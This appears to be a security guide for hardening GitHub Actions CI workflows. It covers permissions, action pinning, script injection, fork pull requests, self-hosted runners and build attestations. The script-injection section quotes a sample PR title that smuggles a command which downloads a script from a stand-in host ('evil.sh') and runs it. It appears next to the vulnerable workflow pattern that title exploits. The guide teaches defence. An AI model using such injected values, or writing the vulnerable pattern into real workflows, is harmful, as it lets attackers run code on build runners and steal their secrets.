$ run as a normal user# run as root (or with sudo)
Give the least rights
Every workflow starts with permissions: contents: read (or {}); jobs raise only what they need.
- Repository setting: default workflow permissions read.
- Use OIDC and environment-scoped identities instead of long-lived secrets.
- Cloud roles only on the needed resource group.
Pin and review third-party actions
An action runs with your token and secrets. Pin it to a full SHA and keep it updated with Dependabot.
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule: { interval: weekly }
- package-ecosystem: pip
directory: /
schedule: { interval: weekly }
- package-ecosystem: terraform
directory: /envs/staging
schedule: { interval: weekly }Settings → Actions → General: allow only GitHub-made and verified creators actions, or a list you choose.
Stop script injection
Values like a PR title or branch name are attacker-controlled. Put into run: with ${{ }}, they become shell code.
# BAD: a title like a"; curl evil.sh | sh; echo " runs on the runner
- run: echo "Title: ${{ github.event.pull_request.title }}"
# GOOD: pass it as an environment variable, quote it
- run: echo "Title: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}Remember
Never put ${{ github.event.* }} text directly into run:. Use env: and a quoted shell variable.
Handle pull requests from forks safely
pull_request from a fork gets no secrets and a read-only token — safe. pull_request_target runs with secrets in the context of the base repository — dangerous if it checks out and runs the fork's code.
| Event | Secrets | Safe to run PR code? |
|---|---|---|
pull_request | No (for forks) | Yes |
pull_request_target | Yes | No — only for labelling, commenting, never build the PR code |
At work
Require approval for workflows from first-time contributors (Settings → Actions → General).
Protect self-hosted runners
A self-hosted runner keeps state between jobs; a bad job can leave malware for the next one.
- Never use self-hosted runners for public repositories.
- Prefer ephemeral runners (one job, then destroyed), for example in containers.
- Put runners in a network segment with only the access they need.
Prove what you built
Artifact attestations and image signing prove which workflow built a file or image — consumers can verify it.
permissions:
id-token: write
contents: read
attestations: write
steps:
- uses: actions/attest-build-provenance@v2
with:
subject-path: dist/shop.tar.gzUse a checklist
Review every new workflow against this list.
| Check | Done when |
|---|---|
| Permissions | permissions: set, read-only default |
| Actions | Pinned to SHA, from trusted publishers, Dependabot on |
| Inputs | No ${{ github.event.* }} inside run: |
| Secrets | OIDC where possible, environment secrets for prod, never printed |
| Deploy | Environment with reviewers and branch rules |
| Scans | CodeQL / Semgrep, dependency, IaC, secret and image scans are required checks |